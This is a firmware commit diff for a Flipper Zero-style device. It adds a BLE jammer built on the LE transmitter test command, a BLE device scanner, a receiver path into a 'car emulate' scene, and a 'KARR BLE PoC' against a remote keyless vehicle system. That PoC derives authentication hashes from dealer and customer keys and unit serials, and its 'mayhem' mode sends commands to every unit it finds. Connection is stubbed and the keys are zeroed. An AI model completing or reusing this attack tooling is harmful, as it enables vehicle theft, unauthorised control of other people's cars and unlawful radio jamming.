A lot of new things, the connection with the mobile app isn't working, it's too late and I need to sleep, I'll take care of that tomorrow, it's a minor thing

Custom emulate on receiver when using full dpad without saving the signal
fixes
2026-08-07 22:19:43 +00:00 · 2026-07-25 02:21:15 -03:00 · 2026-07-23 22:11:38 -03:00 · 2026-07-23 21:42:29 -03:00 · 2026-07-23 21:34:25 -03:00 · 2026-07-22 21:10:59 -03:00
59 changed files with 3408 additions and 22 deletions
@@ -189,7 +189,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
            stream_copy_full(src, dst);
            stream_seek(dst, 0, StreamOffsetFromStart);

-            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
+            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
            return true;
        }

@@ -0,0 +1,13 @@
+App(
+    appid="ble_jammer",
+    name="BLE Jammer",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="ble_jammer_app",
+    stack_size=1024,
+    fap_icon="icon.png",
+    fap_category="Bluetooth",
+    fap_icon_assets="images",
+    fap_author="W0rthlessS0ul (ported by d4rks1d3)",
+    fap_weburl="https://github.com/W0rthlessS0ul/FZ_nRF24_jammer",
+    fap_version="1.4.0",
+)
@@ -0,0 +1,63 @@
+#include "hci_test.h"
+#include <string.h>
+
+struct hci_request {
+    uint16_t ogf;
+    uint16_t ocf;
+    int event;
+    void* cparam;
+    int clen;
+    void* rparam;
+    int rlen;
+};
+
+extern int hci_send_req(struct hci_request* req, uint8_t async);
+
+#define HCI_OGF_LE                    0x08
+#define HCI_OCF_LE_TRANSMITTER_TEST   0x001E
+#define HCI_OCF_LE_TEST_END           0x001F
+
+int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type) {
+    struct hci_request req;
+    uint8_t params[3];
+    uint8_t status;
+
+    memset(&req, 0, sizeof(req));
+    params[0] = rf_channel;
+    params[1] = 37;
+    params[2] = packet_type;
+
+    req.ogf = HCI_OGF_LE;
+    req.ocf = HCI_OCF_LE_TRANSMITTER_TEST;
+    req.cparam = params;
+    req.clen = sizeof(params);
+    req.rparam = &status;
+    req.rlen = 1;
+
+    if(hci_send_req(&req, 0) < 0) return -1;
+    return (status == 0) ? 0 : -1;
+}
+
+int hci_test_stop(void) {
+    struct hci_request req;
+    uint8_t resp[3];
+
+    memset(&req, 0, sizeof(req));
+    req.ogf = HCI_OGF_LE;
+    req.ocf = HCI_OCF_LE_TEST_END;
+    req.cparam = NULL;
+    req.clen = 0;
+    req.rparam = resp;
+    req.rlen = sizeof(resp);
+
+    if(hci_send_req(&req, 0) < 0) return -1;
+    return (resp[0] == 0) ? 0 : -1;
+}
+
+int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch) {
+    if(nrf24_ch < 2) return -1;
+    int freq_mhz = 2400 + nrf24_ch;
+    if(freq_mhz < 2402 || freq_mhz > 2480) return -1;
+    *ble_ch = (nrf24_ch - 2) / 2;
+    return 0;
+}
@@ -0,0 +1,6 @@
+#pragma once
+#include <stdint.h>
+
+int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type);
+int hci_test_stop(void);
+int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch);
@@ -0,0 +1,17 @@
+App(
+    appid="ble_scanner",
+    name="BLE Scanner",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="ble_scanner_app",
+    stack_size=4 * 1024,
+    fap_category="Bluetooth",
+    fap_libs=["ble_central"],
+    requires=["gui"],
+    sources=[
+        "ble_scanner.c",
+    ],
+    fap_author="d4rks1d3",
+    fap_weburl="https://github.com/d4rks1d3",
+    fap_version="0.1",
+    fap_description="Scan and display nearby BLE devices (phones, headphones, etc.)",
+)
@@ -0,0 +1,444 @@
+#include <furi.h>
+#include <furi_hal.h>
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/text_box.h>
+#include <lib/ble_central/ble_central.h>
+#include <string.h>
+
+#define TAG "BleScanner"
+#define BLE_SCANNER_MAX_DEVICES 32
+#define BLE_SCANNER_NAME_MAX_LEN 32
+
+typedef struct {
+    uint32_t prefix;
+    const char* vendor;
+} OuiEntry;
+
+static const OuiEntry oui_table[] = {
+    {0x70B5E8, "ZTE"},
+    {0x8CD3A8, "Xiaomi"},
+    {0x9CE338, "Xiaomi"},
+    {0x48E7DA, "Xiaomi"},
+    {0x04CF8C, "Xiaomi"},
+    {0x6802B8, "Xiaomi"},
+    {0xA4C138, "Xiaomi"},
+    {0xF8A45F, "Xiaomi"},
+    {0x30C6F7, "Xiaomi"},
+    {0xCCE7DF, "Xiaomi"},
+    {0xACA220, "Xiaomi"},
+    {0x18A6F7, "Samsung"},
+    {0x2C54CF, "Samsung"},
+    {0x5CF9DD, "Samsung"},
+    {0x8C8EF2, "Samsung"},
+    {0x9C2A70, "Samsung"},
+    {0xA40CC3, "Samsung"},
+    {0xB8AD0E, "Samsung"},
+    {0xCC3A61, "Samsung"},
+    {0xE0B9BA, "Samsung"},
+    {0xEC1FA6, "Samsung"},
+    {0xF0B0E7, "Samsung"},
+    {0x58500E, "Samsung"},
+    {0x34C34C, "Samsung"},
+    {0x3C7DB1, "Samsung"},
+    {0xA88792, "Samsung"},
+    {0xDC0B6C, "Samsung"},
+    {0xE87DBD, "Samsung"},
+    {0xAC5F3E, "Samsung"},
+    {0x38C7BA, "Samsung"},
+    {0x001122, "Apple"},
+    {0x0025BC, "Apple"},
+    {0x003065, "Apple"},
+    {0x003F2E, "Apple"},
+    {0x003F35, "Apple"},
+    {0x00601C, "Apple"},
+    {0x00719B, "Apple"},
+    {0x00A040, "Apple"},
+    {0x00D8E1, "Apple"},
+    {0x04B133, "Apple"},
+    {0x04E536, "Apple"},
+    {0x08EBED, "Apple"},
+    {0x0C3076, "Apple"},
+    {0x0C9361, "Apple"},
+    {0x10A932, "Apple"},
+    {0x140D4F, "Apple"},
+    {0x181F32, "Apple"},
+    {0x1C36F3, "Apple"},
+    {0x1C9272, "Apple"},
+    {0x203565, "Apple"},
+    {0x28CFE9, "Apple"},
+    {0x2C200B, "Apple"},
+    {0x2CF0A2, "Apple"},
+    {0x30D366, "Apple"},
+    {0x349A0D, "Apple"},
+    {0x3820D1, "Apple"},
+    {0x3C0754, "Apple"},
+    {0x3CD0F8, "Apple"},
+    {0x401D58, "Apple"},
+    {0x44239C, "Apple"},
+    {0x4843CD, "Apple"},
+    {0x4C6B39, "Apple"},
+    {0x54132F, "Apple"},
+    {0x58676A, "Apple"},
+    {0x5C34EF, "Apple"},
+    {0x603B6E, "Apple"},
+    {0x64A31B, "Apple"},
+    {0x68AE20, "Apple"},
+    {0x6C3BA1, "Apple"},
+    {0x6C720E, "Apple"},
+    {0x70D88E, "Apple"},
+    {0x78A351, "Apple"},
+    {0x7C11BE, "Apple"},
+    {0x800017, "Apple"},
+    {0x84968C, "Apple"},
+    {0x88D51C, "Apple"},
+    {0x8C8590, "Apple"},
+    {0x8CDE52, "Apple"},
+    {0x909FB9, "Apple"},
+    {0x98FE94, "Apple"},
+    {0xA095B0, "Apple"},
+    {0xA4D1D2, "Apple"},
+    {0xA8B84F, "Apple"},
+    {0xB0487A, "Apple"},
+    {0xB0B2DC, "Apple"},
+    {0xB45987, "Apple"},
+    {0xB89675, "Apple"},
+    {0xBC1665, "Apple"},
+    {0xC0B593, "Apple"},
+    {0xC44B87, "Apple"},
+    {0xC81A9E, "Apple"},
+    {0xC8B5AD, "Apple"},
+    {0xCC25EF, "Apple"},
+    {0xD039B3, "Apple"},
+    {0xD42C3A, "Apple"},
+    {0xD44F82, "Apple"},
+    {0xD8031F, "Apple"},
+    {0xE062E6, "Apple"},
+    {0xE0F5C6, "Apple"},
+    {0xE8A7A7, "Apple"},
+    {0xF0B0E8, "Apple"},
+    {0xF0D1B9, "Apple"},
+    {0xF47F35, "Apple"},
+    {0xF8313E, "Apple"},
+    {0xFC145E, "Apple"},
+    {0xFC9F5E, "Apple"},
+    {0xA03860, "Google"},
+    {0x94885E, "Google"},
+    {0x7483C2, "Google"},
+    {0x643F5F, "Google"},
+    {0x286AB8, "Google"},
+    {0x1868CB, "Google"},
+    {0x0CCD9F, "Google"},
+    {0x60A4B7, "Google"},
+    {0x14A764, "Google"},
+    {0x8871E5, "Google"},
+    {0x486C8C, "Google"},
+    {0x24AB81, "Google"},
+    {0x3C28A6, "Google"},
+    {0xD0E178, "Google"},
+    {0x2C5BE7, "Google"},
+    {0x28B0CC, "Google"},
+    {0x94A7B7, "Google"},
+    {0xA44E2F, "Google"},
+    {0x5C8FE6, "Google"},
+    {0x3898D8, "Google"},
+    {0x9CADEF, "Google"},
+    {0x5859D5, "Google"},
+    {0x30C7AE, "Google"},
+    {0x18DED7, "Google"},
+    {0x24A642, "Google"},
+    {0x70781E, "Google"},
+    {0x5C639C, "Google"},
+    {0xD089E2, "Google"},
+    {0x54E1AD, "Google"},
+    {0x00C538, "Huawei"},
+    {0x34C9F0, "Huawei"},
+    {0x0C5A9B, "Huawei"},
+    {0xCCF1A0, "Huawei"},
+    {0x3075B0, "Huawei"},
+    {0x18E7F4, "Huawei"},
+    {0xFCBDE8, "Huawei"},
+    {0xF8CEBA, "Huawei"},
+    {0x98039B, "Huawei"},
+    {0x704834, "Huawei"},
+    {0x50B8A2, "Huawei"},
+    {0x44D9E7, "Huawei"},
+    {0xD46A10, "Huawei"},
+    {0x00EDB9, "Sony"},
+    {0x18264E, "Sony"},
+    {0x2053CA, "Sony"},
+    {0x4C0F9E, "Sony"},
+    {0x5C515E, "Sony"},
+    {0x700BC7, "Sony"},
+    {0x9019D9, "Sony"},
+    {0xF44B2A, "Sony"},
+    {0xFCA59C, "Sony"},
+    {0x385E9B, "Sony"},
+    {0x5C9AD8, "Sony"},
+    {0x2CAB25, "Sony"},
+    {0x3816D1, "Sony"},
+    {0x5863F6, "Sony"},
+    {0x5084C2, "Sony"},
+    {0x68DB54, "Sony"},
+    {0x001CDF, "OnePlus"},
+    {0x00503D, "Intel"},
+    {0x00237B, "Intel"},
+    {0x0030D7, "Motorola"},
+    {0x00D0A9, "LG"},
+    {0x886B76, "LG"},
+    {0x482C71, "LG"},
+    {0xC8F733, "LG"},
+    {0x38B12D, "LG"},
+    {0x9815A4, "LG"},
+    {0xECF236, "LG"},
+    {0x605718, "LG"},
+    {0x682C7B, "LG"},
+    {0x4851B7, "Bose"},
+    {0x042C97, "Bose"},
+    {0x00A050, "Bose"},
+    {0x74EF7E, "Bose"},
+    {0xF872EA, "Bose"},
+    {0x382565, "Bose"},
+    {0x00E06C, "JBL/Harman"},
+    {0x2CDD0C, "JBL/Harman"},
+    {0x64A6E6, "JBL/Harman"},
+    {0x8C6B97, "JBL/Harman"},
+    {0xF81D93, "JBL/Harman"},
+    {0x38F7D2, "JBL/Harman"},
+    {0x504A5E, "JBL/Harman"},
+    {0xE039D7, "JBL/Harman"},
+    {0x34DF2A, "Sennheiser"},
+    {0x1CE63B, "Sennheiser"},
+    {0x001C4A, "Plantronics"},
+    {0x5C4A9E, "Plantronics"},
+    {0x6C8336, "Plantronics"},
+    {0x801F02, "Plantronics"},
+    {0x00D02D, "Nest/Google"},
+    {0x18B430, "Nest/Google"},
+    {0x64DBA0, "Nest/Google"},
+    {0x7CC5A1, "Nest/Google"},
+    {0xB839D4, "Nest/Google"},
+    {0x00258A, "Roku"},
+    {0x00A0D2, "Roku"},
+    {0x005AA0, "Roku"},
+    {0x38062C, "Roku"},
+    {0x400B20, "Roku"},
+    {0x9CEBE8, "Roku"},
+    {0x0025E0, "Raspberry Pi"},
+    {0xB827EB, "Raspberry Pi"},
+    {0xDCA632, "Raspberry Pi"},
+    {0xE45F01, "Raspberry Pi"},
+    {0x287184, "Fitbit"},
+    {0x48D638, "Fitbit"},
+    {0x68372D, "Fitbit"},
+    {0x883AA3, "Fitbit"},
+    {0xAAF191, "Fitbit"},
+    {0xD8DCB5, "Fitbit"},
+    {0x00D8D7, "Garmin"},
+    {0x182666, "Garmin"},
+    {0x4C8AEE, "Garmin"},
+    {0x5C3A6D, "Garmin"},
+    {0x447E95, "Garmin"},
+    {0x68572D, "Garmin"},
+    {0x6C88D5, "Garmin"},
+    {0x90CF33, "Garmin"},
+    {0xB815F0, "Garmin"},
+    {0xB8921D, "Garmin"},
+    {0x0023AE, "Nokia"},
+    {0x644BC7, "Nokia"},
+    {0x14B17C, "Nokia"},
+    {0x289124, "Nokia"},
+    {0x482C6C, "Nokia"},
+    {0x4C3463, "Nokia"},
+    {0x802CA5, "Nokia"},
+    {0x84261F, "Nokia"},
+    {0x8C4D3E, "Nokia"},
+    {0xBC6373, "Nokia"},
+    {0xC8628B, "Nokia"},
+    {0x08229B, "Oculus/Meta"},
+    {0xCCA52A, "Oculus/Meta"},
+    {0x0CD6BD, "Oculus/Meta"},
+    {0x3871C5, "Oculus/Meta"},
+    {0xFC5CEF, "Oculus/Meta"},
+    {0x6CB06E, "Oculus/Meta"},
+    {0xE020E0, "Oculus/Meta"},
+    {0x3010A4, "Oculus/Meta"},
+    {0x00140A, "Microsoft"},
+    {0x00061B, "Microsoft"},
+    {0x0025AE, "Microsoft"},
+    {0x04A316, "Microsoft"},
+    {0x181804, "Microsoft"},
+    {0x1C6568, "Microsoft"},
+    {0x287184, "Microsoft"},
+    {0x44DF65, "Microsoft"},
+    {0x48D6D5, "Microsoft"},
+    {0x503EAA, "Microsoft"},
+    {0x60C5A8, "Microsoft"},
+    {0x64167F, "Microsoft"},
+    {0x7C1E52, "Microsoft"},
+    {0x8490AD, "Microsoft"},
+    {0x986DC0, "Microsoft"},
+    {0xA088B4, "Microsoft"},
+    {0x38700C, "TP-Link"},
+    {0x50C7BF, "TP-Link"},
+    {0x64D98B, "TP-Link"},
+    {0x84D46B, "TP-Link"},
+    {0xC02506, "TP-Link"},
+    {0xEC2280, "TP-Link"},
+    {0x001848, "Espressif"},
+    {0x18FE34, "Espressif"},
+    {0x24B2DE, "Espressif"},
+    {0x24E7C5, "Espressif"},
+    {0x24818D, "Espressif"},
+    {0x30AEA4, "Espressif"},
+    {0x3C71BF, "Espressif"},
+    {0x40F520, "Espressif"},
+    {0x5CE3B6, "Espressif"},
+    {0x68C63A, "Espressif"},
+    {0x84CCA8, "Espressif"},
+    {0x84F3EB, "Espressif"},
+    {0x8C2DAA, "Espressif"},
+    {0x8C7B9D, "Espressif"},
+    {0xA4611B, "Espressif"},
+    {0xAC67B2, "Espressif"},
+    {0xB4E62D, "Espressif"},
+    {0xC8F09E, "Espressif"},
+    {0xCC50E3, "Espressif"},
+    {0xDC4F22, "Espressif"},
+    {0xE0B9A5, "Espressif"},
+    {0xECFA5C, "Espressif"},
+    {0xF4CFA2, "Espressif"},
+};
+
+static const char* ble_scanner_lookup_oui(const uint8_t* addr) {
+    uint32_t prefix = ((uint32_t)addr[0] << 16) | ((uint32_t)addr[1] << 8) | addr[2];
+    for(size_t i = 0; i < COUNT_OF(oui_table); i++) {
+        if(oui_table[i].prefix == prefix) return oui_table[i].vendor;
+    }
+    return NULL;
+}
+
+typedef struct {
+    char name[BLE_SCANNER_NAME_MAX_LEN];
+    uint8_t address[6];
+    int8_t rssi;
+    uint8_t address_type;
+} BleScannerDevice;
+
+typedef enum {
+    BleScannerView_Submenu,
+    BleScannerView_TextBox,
+} BleScannerView;
+
+typedef struct {
+    Gui* gui;
+    ViewDispatcher* view_dispatcher;
+    Submenu* submenu;
+    TextBox* text_box;
+
+    BleScannerDevice devices[BLE_SCANNER_MAX_DEVICES];
+    size_t device_count;
+
+    FuriString* log_text;
+} BleScannerApp;
+
+static void ble_scanner_central_callback(BleCentralEventType event, void* device, void* context) {
+    BleScannerApp* app = context;
+
+    if(event == BleCentralEventDeviceFound) {
+        BleCentralAdvertisedDevice* adv = device;
+        if(app->device_count < BLE_SCANNER_MAX_DEVICES) {
+            BleScannerDevice* dev = &app->devices[app->device_count];
+            strncpy(dev->name, adv->name, BLE_SCANNER_NAME_MAX_LEN - 1);
+            dev->name[BLE_SCANNER_NAME_MAX_LEN - 1] = '\0';
+            memcpy(dev->address, adv->address, 6);
+            dev->rssi = adv->rssi;
+            dev->address_type = adv->address_type;
+            app->device_count++;
+        }
+    }
+}
+
+static bool ble_scanner_back_event_callback(void* context) {
+    UNUSED(context);
+    return false;
+}
+
+static BleScannerApp* ble_scanner_app_alloc(void) {
+    BleScannerApp* app = malloc(sizeof(BleScannerApp));
+    memset(app, 0, sizeof(BleScannerApp));
+
+    app->gui = furi_record_open(RECORD_GUI);
+    app->view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_navigation_event_callback(app->view_dispatcher, ble_scanner_back_event_callback);
+
+    app->submenu = submenu_alloc();
+    view_dispatcher_add_view(app->view_dispatcher, BleScannerView_Submenu, submenu_get_view(app->submenu));
+
+    app->text_box = text_box_alloc();
+    view_dispatcher_add_view(app->view_dispatcher, BleScannerView_TextBox, text_box_get_view(app->text_box));
+
+    app->log_text = furi_string_alloc();
+    view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    return app;
+}
+
+static void ble_scanner_app_free(BleScannerApp* app) {
+    furi_string_free(app->log_text);
+    view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_Submenu);
+    submenu_free(app->submenu);
+    view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_TextBox);
+    text_box_free(app->text_box);
+    view_dispatcher_free(app->view_dispatcher);
+    furi_record_close(RECORD_GUI);
+    free(app);
+}
+
+int32_t ble_scanner_app(void* p) {
+    UNUSED(p);
+    BleScannerApp* app = ble_scanner_app_alloc();
+
+    submenu_set_header(app->submenu, "BLE Scanner");
+    submenu_add_item(app->submenu, "Scan for devices", 0, NULL, NULL);
+    view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_Submenu);
+
+    app->device_count = 0;
+
+    bool ok = ble_central_scan_start(ble_scanner_central_callback, app);
+    if(!ok) {
+        furi_string_set_str(app->log_text, "ERROR: scan start failed!\n");
+        text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+        view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
+        view_dispatcher_run(app->view_dispatcher);
+        ble_scanner_app_free(app);
+        return 0;
+    }
+
+    furi_delay_ms(4000);
+    ble_central_scan_stop();
+
+    furi_string_reset(app->log_text);
+    furi_string_cat_printf(app->log_text, "Found %zu devices:\n\n", app->device_count);
+    for(size_t i = 0; i < app->device_count; i++) {
+        BleScannerDevice* dev = &app->devices[i];
+        const char* vendor = ble_scanner_lookup_oui(dev->address);
+        if(dev->name[0]) {
+            furi_string_cat_printf(app->log_text, "%zu. %s\n", i + 1, dev->name);
+        } else if(vendor) {
+            furi_string_cat_printf(app->log_text, "%zu. [%s device]\n", i + 1, vendor);
+        } else {
+            furi_string_cat_printf(app->log_text, "%zu. (no name)\n", i + 1);
+        }
+        furi_string_cat_printf(app->log_text, "   RSSI: %d\n\n", dev->rssi);
+    }
+
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+    view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
+
+    view_dispatcher_run(app->view_dispatcher);
+    ble_scanner_app_free(app);
+    return 0;
+}
@@ -0,0 +1,28 @@
+App(
+    appid="karr_poc_flipper",
+    name="KARR BLE PoC",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="karr_poc_app",
+    stack_size=4 * 1024,
+    fap_category="Bluetooth",
+    fap_libs=["ble_central"],
+    requires=["gui"],
+    sources=[
+        "karr_poc.c",
+        "scenes/karr_poc_scene.c",
+        "scenes/karr_poc_scene_start.c",
+        "scenes/karr_poc_scene_scan.c",
+        "scenes/karr_poc_scene_device_menu.c",
+        "scenes/karr_poc_scene_auth.c",
+        "scenes/karr_poc_scene_result.c",
+        "scenes/karr_poc_scene_mayhem_menu.c",
+        "scenes/karr_poc_scene_mayhem_confirm.c",
+        "scenes/karr_poc_scene_mayhem_scan.c",
+        "scenes/karr_poc_scene_mayhem_run.c",
+        "helpers/karr_ble.c",
+        "helpers/qt_auth.c",
+        "helpers/qt_protocol.c",
+    ],
+    fap_version="0.1",
+    fap_description="KARR/QTAP remote keyless system PoC",
+)
@@ -0,0 +1,162 @@
+#include "karr_ble.h"
+#include <furi.h>
+#include <string.h>
+#include "ble_central.h"
+
+#define TAG "KarrBle"
+
+typedef struct {
+    KarrBleStatusCallback scan_callback;
+    void* scan_context;
+    bool scanning;
+    bool connected;
+    char unit_serial[KARR_BLE_NAME_MAX_LEN];
+    uint8_t hash[QT_HASH_OUT_LEN];
+} KarrBle;
+
+static KarrBle* karr_ble = NULL;
+
+static void karr_ble_on_central_event(BleCentralEventType event, void* data, void* context) {
+    UNUSED(context);
+    if(!karr_ble) return;
+
+    switch(event) {
+        case BleCentralEventDeviceFound: {
+            BleCentralAdvertisedDevice* dev = (BleCentralAdvertisedDevice*)data;
+            if(karr_ble->scan_callback) {
+                karr_ble->scan_callback(
+                    KarrBleStatus_DeviceFound, dev->name, karr_ble->scan_context);
+            }
+            break;
+        }
+        case BleCentralEventGattProcComplete: {
+            if(karr_ble->scanning && karr_ble->scan_callback) {
+                karr_ble->scan_callback(
+                    KarrBleStatus_ScanStarted, "Discovery complete", karr_ble->scan_context);
+            }
+            break;
+        }
+        default:
+            break;
+    }
+}
+
+bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context) {
+    if(!karr_ble) {
+        karr_ble = malloc(sizeof(KarrBle));
+    }
+    if(karr_ble->scanning) return false;
+
+    karr_ble->scan_callback = callback;
+    karr_ble->scan_context = context;
+    karr_ble->scanning = true;
+
+    if(!ble_central_scan_start(karr_ble_on_central_event, karr_ble)) {
+        karr_ble->scanning = false;
+        return false;
+    }
+
+    if(callback) callback(KarrBleStatus_ScanStarted, "Scanning...", context);
+    return true;
+}
+
+void karr_ble_scan_stop(void) {
+    if(!karr_ble || !karr_ble->scanning) return;
+    ble_central_scan_stop();
+    karr_ble->scanning = false;
+    karr_ble->scan_callback = NULL;
+    karr_ble->scan_context = NULL;
+}
+
+bool karr_ble_connect_and_auth(
+    const KarrBleDevice* device,
+    QtMode mode,
+    KarrBleStatusCallback callback,
+    void* context) {
+    furi_assert(device);
+
+    FURI_LOG_I(TAG, "connect_and_auth to '%s' (STUB)", device->name);
+    strncpy(karr_ble->unit_serial, device->name, sizeof(karr_ble->unit_serial) - 1);
+    karr_ble->unit_serial[sizeof(karr_ble->unit_serial) - 1] = '\0';
+
+    if(callback) callback(KarrBleStatus_Connecting, device->name, context);
+    karr_ble->connected = true;
+    if(callback) callback(KarrBleStatus_Connected, "Connected", context);
+    if(callback) callback(KarrBleStatus_ServiceDiscovered, "Service+Char OK", context);
+
+    uint8_t frame_buf[QT_MAX_FRAME_LEN];
+    size_t frame_len;
+
+    frame_len = qt_protocol_generate(QtCmd_AuthInit, NULL, 0, frame_buf, sizeof(frame_buf));
+    FURI_LOG_I(TAG, "TX Auth_Init (%zu bytes)", frame_len);
+    if(callback) callback(KarrBleStatus_AuthInitSent, "0x22 sent", context);
+
+    uint8_t fake_challenge[QT_CHALLENGE_LEN] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
+    char challenge_msg[32];
+    snprintf(
+        challenge_msg,
+        sizeof(challenge_msg),
+        "%02x%02x%02x%02x%02x%02x%02x%02x",
+        fake_challenge[0], fake_challenge[1], fake_challenge[2], fake_challenge[3],
+        fake_challenge[4], fake_challenge[5], fake_challenge[6], fake_challenge[7]);
+    if(callback) callback(KarrBleStatus_ChallengeReceived, challenge_msg, context);
+
+    bool hash_ok = qt_generate_hash(mode, fake_challenge, karr_ble->unit_serial, karr_ble->hash);
+    if(!hash_ok) {
+        FURI_LOG_E(TAG, "qt_generate_hash failed");
+        if(callback) callback(KarrBleStatus_Error, "Invalid serial for this mode", context);
+        return false;
+    }
+
+    frame_len = qt_protocol_generate(
+        QtCmd_AuthResponse, karr_ble->hash, QT_HASH_OUT_LEN, frame_buf, sizeof(frame_buf));
+    FURI_LOG_I(TAG, "TX Auth_Response (%zu bytes)", frame_len);
+    if(callback) callback(KarrBleStatus_AuthResponseSent, "0x0F sent", context);
+    if(callback) callback(KarrBleStatus_AuthSuccess, "0x10 received", context);
+
+    return true;
+}
+
+bool karr_ble_send_command(QtCommand command) {
+    if(!karr_ble || !karr_ble->connected) {
+        FURI_LOG_E(TAG, "send_command without connection/auth");
+        return false;
+    }
+
+    uint8_t frame_buf[QT_MAX_FRAME_LEN];
+    size_t frame_len = qt_protocol_generate(command, NULL, 0, frame_buf, sizeof(frame_buf));
+    FURI_LOG_I(TAG, "TX command 0x%02x (%zu bytes)", command, frame_len);
+    return frame_len > 0;
+}
+
+void karr_ble_disconnect(void) {
+    if(!karr_ble) return;
+    FURI_LOG_I(TAG, "disconnect (STUB)");
+    karr_ble->connected = false;
+}
+
+void karr_ble_mayhem_run(
+    const KarrBleDevice* devices,
+    size_t device_count,
+    QtMode mode,
+    QtCommand command,
+    KarrMayhemDeviceCallback callback,
+    void* context) {
+    for(size_t i = 0; i < device_count; i++) {
+        const KarrBleDevice* dev = &devices[i];
+        FURI_LOG_I(TAG, "mayhem: device %zu/%zu '%s'", i + 1, device_count, dev->name);
+
+        bool auth_ok = karr_ble_connect_and_auth(dev, mode, NULL, NULL);
+        if(!auth_ok) {
+            if(callback) callback(dev, KarrMayhemResult_AuthFailed, context);
+            karr_ble_disconnect();
+            continue;
+        }
+
+        bool sent = karr_ble_send_command(command);
+        karr_ble_disconnect();
+        if(callback) {
+            callback(dev, sent ? KarrMayhemResult_Success : KarrMayhemResult_AuthFailed, context);
+        }
+    }
+}
@@ -0,0 +1,69 @@
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include "qt_auth.h"
+#include "qt_protocol.h"
+
+#define KARR_BLE_SERVICE_UUID "49535343-FE7D-4AE5-8FA9-9FAFD205E455"
+#define KARR_BLE_CHARACTERISTIC_UUID "49535343-1E4D-4BD9-BA61-23C647249616"
+
+#define KARR_BLE_MAX_DEVICES 16
+#define KARR_BLE_NAME_MAX_LEN 32
+
+typedef struct {
+    char name[KARR_BLE_NAME_MAX_LEN];
+    uint8_t address[6];
+    int8_t rssi;
+} KarrBleDevice;
+
+typedef enum {
+    KarrBleStatus_ScanStarted,
+    KarrBleStatus_DeviceFound,
+    KarrBleStatus_Connecting,
+    KarrBleStatus_Connected,
+    KarrBleStatus_ServiceDiscovered,
+    KarrBleStatus_AuthInitSent,
+    KarrBleStatus_ChallengeReceived,
+    KarrBleStatus_AuthResponseSent,
+    KarrBleStatus_AuthSuccess,
+    KarrBleStatus_AuthFailed,
+    KarrBleStatus_CommandSent,
+    KarrBleStatus_Disconnected,
+    KarrBleStatus_Error,
+} KarrBleStatus;
+
+typedef void (*KarrBleStatusCallback)(KarrBleStatus status, const char* message, void* context);
+
+bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context);
+void karr_ble_scan_stop(void);
+
+bool karr_ble_connect_and_auth(
+    const KarrBleDevice* device,
+    QtMode mode,
+    KarrBleStatusCallback callback,
+    void* context);
+
+bool karr_ble_send_command(QtCommand command);
+
+void karr_ble_disconnect(void);
+
+typedef enum {
+    KarrMayhemResult_Success,
+    KarrMayhemResult_AuthFailed,
+    KarrMayhemResult_ConnectFailed,
+} KarrMayhemResult;
+
+typedef void (*KarrMayhemDeviceCallback)(
+    const KarrBleDevice* device,
+    KarrMayhemResult result,
+    void* context);
+
+void karr_ble_mayhem_run(
+    const KarrBleDevice* devices,
+    size_t device_count,
+    QtMode mode,
+    QtCommand command,
+    KarrMayhemDeviceCallback callback,
+    void* context);
@@ -0,0 +1,43 @@
+#include "qt_auth.h"
+#include <string.h>
+
+static const uint8_t DEALER_KEY[16] = {
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static const uint8_t CUSTOMER_KEY[16] = {
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+bool qt_generate_hash(
+    QtMode mode,
+    const uint8_t challenge[QT_CHALLENGE_LEN],
+    const char* unit_serial,
+    uint8_t out[QT_HASH_OUT_LEN]) {
+    uint8_t key[16];
+
+    if(mode == QtMode_User || mode == QtMode_Valet) {
+        if(unit_serial == NULL || strlen(unit_serial) < 10) {
+            return false;
+        }
+        memcpy(key, CUSTOMER_KEY, 16);
+        key[3] = (uint8_t)unit_serial[7];
+        key[6] = (uint8_t)unit_serial[8];
+        key[9] = (uint8_t)unit_serial[9];
+    } else {
+        memcpy(key, DEALER_KEY, 16);
+    }
+
+    for(int i = 0; i < 16; i++) {
+        uint32_t acc = key[i];
+        for(int j = 0; j < QT_CHALLENGE_LEN; j++) {
+            acc = (uint32_t)(acc * 0x21u + challenge[j]);
+        }
+        out[2 * i] = (uint8_t)(acc & 0xFF);
+        out[2 * i + 1] = (uint8_t)((acc >> 8) & 0xFF);
+    }
+
+    return true;
+}
@@ -0,0 +1,25 @@
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+
+typedef enum {
+    QtMode_Installer = 0,
+    QtMode_Dealer = 1,
+    QtMode_User = 2,
+    QtMode_NoSale = 3,
+    QtMode_BCA = 4,
+    QtMode_Valet = 5,
+    QtMode_Bootload = 6,
+    QtMode_Unconfigured = 7,
+} QtMode;
+
+#define QT_HASH_OUT_LEN 32
+#define QT_CHALLENGE_LEN 8
+
